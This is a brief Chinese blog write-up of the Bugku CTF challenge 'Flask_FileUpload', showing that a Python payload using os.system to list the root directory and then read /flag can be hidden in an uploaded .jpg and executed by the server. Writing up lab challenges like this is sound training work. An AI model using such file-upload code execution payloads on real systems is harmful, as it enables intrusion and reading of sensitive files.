技术栈

Bugku-web-Flask_FileUpload

黑白时光les2024-08-01 11:52

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
上一篇:Python面试题:如何使用WebSocket实现实时Web应用
下一篇:单片机之串口通信协议
相关推荐
珺毅同学
5 小时前
YOLO生成预测json标签迁移问题
python·yolo·json
HackTwoHub
6 小时前
最新Nessus2026.6.8版本主机漏洞扫描/探测工具Windows/Linux
linux·运维·服务器·安全·web安全·网络安全·安全架构
NOVAnet2023
6 小时前
SASE 透明模式实战场景:网络加固、业务上云与合规体系落地实践
web安全·零信任·sd-wan·sase·分布式组网
骑士雄师
6 小时前
18.4 长期记忆可修改版
python
~小先生~
6 小时前
Python从入门到放弃(一)
开发语言·python
天佑木枫
6 小时前
第2天:变量与数据类型 —— 让程序记住信息
python
原则猫
7 小时前
HOOKS 背后机制
前端
码语智行
7 小时前
首页导航跳转功能深度解析-系统内和系统外
前端
Dust-Chasing
7 小时前
Claude Code源码剖析 - Claude Code 上下文压缩机制
人工智能·python·ai
阿猫的故乡
8 小时前
Vue过渡动画从入门到装X:淡入淡出、滑动、列表动画、第三方库全搞定
前端·javascript·vue.js
热门推荐
01《置身钉内》原文-可播放阅读02GitHub 镜像站点03【AI】2026 年具身智能模型和世界模型总结04Claude Code、Codex、Cursor三分天下:2026年AI编程Agent生态全景剖析052026 AI 编程工具终极实战指南:Cursor vs Claude Code vs Copilot,开发者该怎么选?06Codex 下载安装指南:Windows 和 macOS 官方版下载072026 年 AI 编程工具终极横评:Cursor vs Claude Code vs Copilot vs Windsurf08【踩坑记录 | 第一篇】微软商店无法使用时,如何手动安装 OpenAI Codex?附`.msix`文件系统错误解决方法09AI科技热点日报 | 2026年6月1日10CC-Switch 下载、安装与使用配置指南【2026.5.29】